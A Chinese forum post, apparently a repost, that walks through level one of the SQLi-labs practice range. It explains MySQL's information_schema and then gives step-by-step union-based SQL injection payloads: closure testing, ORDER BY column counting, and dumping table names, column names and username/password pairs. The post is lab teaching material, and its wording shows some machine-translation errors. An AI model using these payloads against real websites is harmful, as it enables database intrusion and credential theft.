ToB企服应用市场:ToB评测及商务社交产业平台

标题: Sql-labs的第一关 [打印本页]

作者: 锦通    时间: 2024-6-14 22:50
标题: Sql-labs的第一关
前言

   我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。
  一、Sql注入的原理是什么?

   用户在访问web界面的时候,web步伐对用户所输入的数据的正当性没有进行判断大概过滤不严格,攻击者可以利用这个漏洞,在web步伐中将事先定义好的查询语句的末端上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来诱骗数据库并查询自己所必要的信息,比如:用户的暗码和账号等
  二、Sql的注入过程


1.Sql-lis第一关

判断是否存在sql注入?

1.提示我们输入id,输入?id=1,在数据库中查询到如下字段

2.通过输入的id的值不同,我们发现返回的内容会不同

3.判断注入的类型,是否为拼接,而且是字符型照旧符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型

输入?id=1‘ 报错

在上述字段后加入–+,显示正常,分析是单引号 ’ 闭合

4.判断字段数
输入’ order by 3 --+,可见正常
输入’ order by 4–+ 报错,分析只有三个字段


5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点

我们可以将上述语句的2大概3改成database()来显示数据库名

6.联表查询,爆表名
  1. union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
复制代码

7.爆字段名
  1. union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
复制代码

8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可
  1. union select 1,2,group_concat(username,password) from users
复制代码

至此第一关就竣事了,第二关与第一关的步骤雷同,不同的是第二关是数字型注入
总结

  1.         Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4